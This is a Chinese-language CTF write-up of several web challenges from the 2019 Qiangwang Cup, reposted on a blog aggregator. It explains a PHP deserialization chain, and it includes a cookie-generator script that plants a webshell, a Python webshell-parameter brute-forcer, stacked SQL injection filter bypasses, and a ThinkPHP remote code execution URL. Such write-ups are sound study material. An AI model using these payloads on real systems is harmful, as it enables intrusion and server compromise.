2019强网杯部分Web wp

栏目: 服务器 · 发布时间: 5年前

内容简介:Pwn 网杯再一次用实践行动谁才是 CTF 中爸爸级别的人物!随便打开一个页面发现 cookie 存在序列化的样子扫目录得到

Pwn 网杯再一次用实践行动谁才是 CTF 中爸爸级别的人物!

(当然还是 Crypto 爷爷啦

Web

Upload

随便打开一个页面发现 cookie 存在序列化的样子

a:5:{s:2:"ID";i:2;s:8:"username";s:4:"zedd";s:5:"email";s:11:"zedd@qq.com";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";s:3:"img";N;}

扫目录得到 www.tar.gz 压缩包,代码审计

Profile.php 发现关键代码:

public function __get($name)
{
  return $this->except[$name];
}

public function __call($name, $arguments)
{
  if($this->{$name}){
    $this->{$this->{$name}}($arguments);
  }
}

被出烂的反序列化…这里肯定是利用 __call 函数去执行我们的命令了。然后在 Register.php 中看到有关键代码:

public function __destruct()
{
  if(!$this->registed){
    $this->checker->index();
  }
}

很明显了,这里我们用 Register->checker = Profile ,利用 Profile->index() 去触发 Profile 类中的 __call 魔术方法。

但是我们可以看到 Profile.php 当中的 __call 方法调用的参数是

public function __call($name, $arguments)
{
  if($this->{$name}){
    $this->{$this->{$name}}($arguments);
  }
}

通过文档我们可以知道 $name 是不存在方法的调用的名字,在这里也就是 index$arguments 就是传入调用方法的参数,这里就为空。

而当使用 $this->index 的时候,我们会触发另一个魔术方法 __get

​ 读取不可访问属性的值时,__get() 会被调用。

所以这里我们又因为 if 判断中调用了 $this->{$name} ,而当 $this->{$name} 不存在的时候触发了 __get ,那我们再仔细看看 __get 方法

public function __get($name)
{
  return $this->except[$name];
}

这里又调用了 $this->except[$name] ,而 $name 我们可以通过 __call 调用的值确定为 index ,而且 Profile 类存在一个公有类 except 可以供我们修改。

接着利用 _get 的返回会使 __call 方法中的 if 为真,执行 $this->{$this->{$name}}($arguments);

这里我大概简化了一下代码:

2019强网杯部分Web wp

结果如下,这样这个构造链就比较清楚了。

2019强网杯部分Web wp

既然有了构造链,那我们可以怎么做呢?在 Profile 类中我们还可以发现上传功能的方法有这样的代码:

if(!empty($_FILES)){
  $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
  $this->filename=md5($_FILES['upload_file']['name']).".png";
  $this->ext_check();
}

if($this->ext) {
  if(getimagesize($this->filename_tmp)) {
    @copy($this->filename_tmp, $this->filename);
    @unlink($this->filename_tmp);
    $this->img="../upload/$this->upload_menu/$this->filename";
    $this->update_img();
  }else{
    $this->error('Forbidden type!', url('../index'));
  }
}else{
  $this->error('Unknow file type!', url('../index'));
}

如果我们不上传文件,就可以直接绕过第一个 if 判断,直接用赋值绕过第二个 if 判断,然后可以构造图片马绕过 getimagesize 的判断,控制 $this->filename 为 php webshell 形式,这样利用 copy($this->filename_tmp, $this->filename) 就可以让服务给我复制出了一个 php webshell 了。

好了基本构造攻击链接都基本设计好了。接下来就是怎么触发攻击链了,最开始的源头就是从 Register 类的 __destruct 方法开始的,所以我们需要找到一个可以反序列化 Register 的地方。

Index.php 中我们可以找到

public function login_check(){
  $profile=cookie('user');
    if(!empty($profile)){
      $this->profile=unserialize(base64_decode($profile));
      $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
      if(array_diff($this->profile_db,$this->profile)==null){
      return 1;
     }else{
      return 0;
    }
  }
}

可以看到就是通过 cookie 进行传值进行反序列化操作。所以我们基本上所有的攻击就可以完成了。通过如下代码生成 cookie ,在首页替代 cookie 就行了,即使返回错误,也没关系,只要把文件 copy 了就行了

class Index extends Controller
{
    public $profile;
    public $profile_db;
}

class Register extends Controller
{
    public $checker=true;
    public $registed;
}

class Profile extends Controller
{
    public $checker=false;
    public $filename_tmp="upload/da5703ef349c8b4ca65880a05514ff89/f78492f0513c659e69dab2e47f567202.png";
    public $filename="upload/sh.php";
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array("index"=>"upload_img");
}

$index =new Index();
$reg = new Register();
$reg->checker = new Profile();
$index->profile = $reg;
print_r(urlencode(base64_encode(serialize($reg))));

得到 php websehll

YToxOntzOjI6IklEIjtPOjI3OiJhcHBcd2ViXGNvbnRyb2xsZXJcUmVnaXN0ZXIiOjg6e3M6NzoiY2hlY2tlciI7TzoyNjoiYXBwXHdlYlxjb250cm9sbGVyXFByb2ZpbGUiOjEzOntzOjc6ImNoZWNrZXIiO2I6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6NzY6InVwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9mNzg0OTJmMDUxM2M2NTllNjlkYWIyZTQ3ZjU2NzIwMi5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTM6InVwbG9hZC9zaC5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtpOjE7czozOiJpbWciO047czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6NzoiACoAdmlldyI7TjtzOjEwOiIAKgByZXF1ZXN0IjtOO3M6MTY6IgAqAGZhaWxFeGNlcHRpb24iO2I6MDtzOjE2OiIAKgBiYXRjaFZhbGlkYXRlIjtiOjA7czoxOToiACoAYmVmb3JlQWN0aW9uTGlzdCI7YTowOnt9czoxMzoiACoAbWlkZGxld2FyZSI7YTowOnt9fXM6ODoicmVnaXN0ZWQiO047czo3OiIAKgB2aWV3IjtOO3M6MTA6IgAqAHJlcXVlc3QiO047czoxNjoiACoAZmFpbEV4Y2VwdGlvbiI7YjowO3M6MTY6IgAqAGJhdGNoVmFsaWRhdGUiO2I6MDtzOjE5OiIAKgBiZWZvcmVBY3Rpb25MaXN0IjthOjA6e31zOjEzOiIAKgBtaWRkbGV3YXJlIjthOjA6e319fQ%3D%3D

2019强网杯部分Web wp

连上去就可以 cat /flag

高明的黑客

拿到题目,有 www.tar.gz 附件,但是解压缩出来有很多 php 文件,打开仔细看都是经过混淆的。一开始没什么思路,然后随便仔细审了一个文件,发现都是假马

存在有

echo `$_GET['xxx']`;
system($_GET['xxx']);
assert($_GET['xxx']);
exec($_GET['xxx']);
eval($_GET['xxx'] ?? ' ');

但是触发条件都极其恶心,故意不让你触发,有类似

if('xMpdxjdRB' == 'TgjMxZujP')
 eval($_GET['xMpdxjdRB'] ?? ' ');

这样或者这样

$_GET['_5onXTD_C'] = ' ';
eval($_GET['_5onXTD_C'] ?? ' ');

反正就是一系列不让你直接拿到 webshell 的操作,感觉应该就是在混淆真的 webshell 了。

既然是混淆真的 webshell ,那我们是不是可以写个脚本制定一些规则遍历一下所有文件呢?例如

利用编译原理 LL1 文法 ,去他么的编译原理,写个:hammer:的规则,反正要找最终的 webshell ,干脆先直接找所有的 $_GET 或者 $_POST

变量,直接暴力传参探测,看是否有 webshell 执行命令的回显就好了。

不过这好无聊哦…脚本如下…

import os
import re
import requests

filePath = '/Users/zedd/Sites/web2/src'
files = os.listdir(filePath)
url = "http://localhost/web2/src/"

def get_rep(filename, name):
    r_url = url + filename +  "?" + name + "=echo `id`;"
    rep = requests.get(r_url)
    print(r_url)
    if 'uid=501' in rep.content.decode('utf-8'):
        print("Got It!   !!!!!!! " + filename + " The param is: _GET[" + name +"]")

def post_rep(filename, name):
    r_url = url + filename
    param = {
        name: "echo `id`;"
    }
    rep = requests.post(r_url, data=param)
    print(r_url + " POST: " + name)
    if 'uid=501' in rep.content.decode('utf-8'):
        print("Got It!   !!!!!!! " + filename + " The param is: _POST[" + name +"]")

for k in files:
    if k == '.DS_Store':
        continue
    if k == 'index.html':
        continue
    with open('./src/' + k, 'rt') as f:
        content = f.read()
        get = re.findall(r"GET\['(.+?)'\]", content)
        post = re.findall(r"POST\['(.+?)'\]", content)
        for i in get:
            get_rep(k, i)
        for i in post:
            post_rep(k, i)
        f.close()

第一天还跑错文件位置了,导致自己跑了好几遍都没出来,开始怀疑自己…第二天清醒了以后,仔细看才发现原来文件位置写错了…然后才跑出来

2019强网杯部分Web wp

你看这个文件是得有多可气啊!你看这个黑客是有多可气啊!

连上去 cat /flag 就拿到 flag 了

sql

一个注入题… fuzz 了一下,发现回显过滤了

return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

但是讲道理,过滤了 select ,是无法通过常规操作注入去拿 flag 的,于是考虑是不是不需要拿数据库,就是单纯读文件什么的操作。

可以报错,尝试使用以下读文件,无果

1' and extractvalue(1, concat(0x7e, (LOAD_FILE('/etc/passwd')),0x7e));

1' and (extractvalue(1,concat(0x7e,(isnull('/etc/passwd')),0x7e)))#

这里神奇的事 isnull ,无论文件存不存在都返回了 0 …

搜索过滤的关键字,在红日代码审计那个找到类似的,用那个的思路尝试 HPP ,无果。

搜到 2018 SUCTF 中也有类似的关键字过滤,发现那道题可以通过类似以下的 payload 堆叠达到注入效果

set @t=0x73656c65637420312c323b;prepare x from @t;execute x;

但是尝试的时候发现过滤回显

strstr($inject, "set") && strstr($inject, "prepare")

想了好一会,突然发现这是个 strstr 函数呀!可以用大小写绕过!

但是题目可能哪里出了问题,好几次拿到 flag 字段内容都为空…我觉得没什么问题…尝试了好几个 payload ,也问了客服,客服说没问题…又随便试了几个终于出了…

select * from supersqli.1919810931114514
1919810931114514
select * from 1919810931114514

1';Set @t=0x73656c65637420666c61672066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;#

1';Set @t=0x73656c656374202a2066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;#

1';Set @t=0x73656c656374202a2066726f6d20737570657273716c692e31393139383130393331313134353134;Prepare x from @t;Execute x;#

2019强网杯部分Web wp

强网先锋-上单

打开发现可以列目录,在 http://117.78.39.172:30280/1/runtime/log/201903/12.log 我们可以发现有一段 log

---------------------------------------------------------------
[ 2019-03-12T23:18:49+08:00 ] 223.104.19.11 GET 39.105.136.196:8000/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
[ error ] [0]variable type error锛� boolean
---------------------------------------------------------------
[ 2019-03-12T23:18:53+08:00 ] 42.236.10.84 GET 39.105.136.196:8000/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
[ error ] [0]variable type error锛� boolean
---------------------------------------------------------------
[ 2019-03-12T23:19:52+08:00 ] 223.104.19.11 GET 39.105.136.196:8000/?s=index/\think\Request/input&filter=system&data=whoami
[ error ] [0]Access to non-public constructor of class think\Request
---------------------------------------------------------------
[ 2019-03-12T23:23:59+08:00 ] 223.104.19.11 get /?s=captcha
[ error ] [2]system(): Cannot execute a blank command

发现是 tp 的 rce log,直接拿去打 http://117.78.39.172:30280/1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

拿到 flag

Conclusion

Web 都比较难,质量都还是不错的。我觉得第一个题 upload 整个构造链还是需要一定技巧的,But 看到一些 wp 直接三言两语就带过了…啧啧…还是学到了一些知识的

再贴一几个我收集到的 wp 吧

babywebbb

智能门锁


以上所述就是小编给大家介绍的《2019强网杯部分Web wp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Programming Python

Programming Python

Mark Lutz / O'Reilly Media / 2006-8-30 / USD 59.99

Already the industry standard for Python users, "Programming Python" from O'Reilly just got even better. This third edition has been updated to reflect current best practices and the abundance of chan......一起来看看 《Programming Python》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

URL 编码/解码
URL 编码/解码

URL 编码/解码